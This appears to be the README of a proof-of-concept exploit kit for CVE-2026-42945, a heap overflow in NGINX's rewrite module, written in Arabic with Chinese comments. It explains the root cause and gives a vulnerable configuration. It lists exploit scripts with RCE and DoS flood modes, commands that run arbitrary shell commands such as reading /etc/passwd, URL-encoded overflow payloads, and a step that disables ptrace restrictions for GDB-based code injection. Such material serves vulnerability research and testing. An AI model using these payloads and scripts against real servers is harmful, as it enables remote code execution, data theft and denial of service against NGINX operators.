
إثبات مفهوم لاستغلال CVE-2026-42945، وهو تجاوز سعة في الكومة (heap overflow) حرج في وحدة إعادة الكتابة (rewrite module) في NGINX، مما يتيح تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر ترميز URI مُصمم خصيصًا. يتضمن بيئة اختبار قائمة على Docker، والتحقق عبر ASAN، وعدة سكربتات استغلال.
تم تأكيد نجاح RCE — من خلال تجاوز سعة الكومة + حقن العمليات عبر GDB، يتم تنفيذ أوامر عشوائية في عمليات NGINX / OpenResty worker.
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx
# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty
# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| الخاصية | القيمة |
|---|---|
| رقم CVE | CVE-2026-42945 |
| نوع الثغرة | تجاوز سعة المخزن المؤقت في الكومة → تنفيذ كود عن بُعد (RCE) |
| المكوّن المتأثر | ngx_http_rewrite_module |
| الإصدارات المتأثرة | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| تقييم الثغرة | CVSS 9.4 (CRITICAL) |
| شروط الاستغلال | لا يتطلب مصادقة؛ يتطلب RCE صلاحيات ptrace (root) |
تقوم الدالة ngx_http_script_complex_value_code() بتخصيص المخزن المؤقت وفقًا لطول الـ URI بعد فك الترميز (decoded)، بينما تستدعي الدالة ngx_http_script_copy_capture_code() الدالة ngx_escape_uri() للكتابة وفقًا للطول بعد الترميز (encoded). يؤدي ترميز أحرف URL إلى تضخيم الحجم بمقدار 3 أضعاف → تجاوز سعة الكومة.
يجب استيفاء الشروط الثلاثة التالية في الوقت نفسه:
rewrite وset في نفس الموقع (location)rewrite على ?set إلى المتغير الملتقَط $1 الخاص بـ rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # 含 '?'
set $original_endpoint $1; # 引用 $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # 一键构建 + 测试入口
├── README.md
│
├── scripts/ # 测试 & 利用脚本
│ ├── rce.sh # 纯 Shell RCE (curl + GDB, 无 Python)
│ ├── exploit_rce.py # Python RCE (兼容 2.7/3.x)
│ ├── exploit.py # PoC 主脚本 (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN 全面扫描
│
├── package/ # 部署 & 编排文件
│ ├── Dockerfile.rce # NGINX 源码编译 + RCE 环境
│ ├── Dockerfile.openresty.rce # OpenResty 源码编译 + RCE 环境
│ ├── Dockerfile # 基础镜像 (Alpine)
│ ├── Dockerfile.asan # ASAN 调试镜像
│ ├── docker-compose.yml # Docker 编排 (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX 漏洞配置
│ ├── nginx-openresty.conf # OpenResty 漏洞配置
│ ├── start_rce.sh # NGINX RCE 容器启动脚本
│ └── start_openresty_rce.sh # OpenResty RCE 容器启动脚本
│
└── src/ # 源码 (编译用)
├── nginx-1.26.3/ # NGINX 1.26.3 源码
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (内置 nginx/1.25.3)
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS 压力测试
rewrite (تحتوي على ?) وset (التي تشير إلى $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | الوصف | النتيجة |
|---|
/api/%25 × N | % بترميز URL | ✅ تجاوز سعة الكومة |
/api/%3f × N | ? بترميز URL | ✅ تجاوز سعة الكومة |
/api/%23 × N | # بترميز URL | ✅ تجاوز سعة الكومة |
/api/%26 × N | & بترميز URL | ✅ تجاوز سعة الكومة |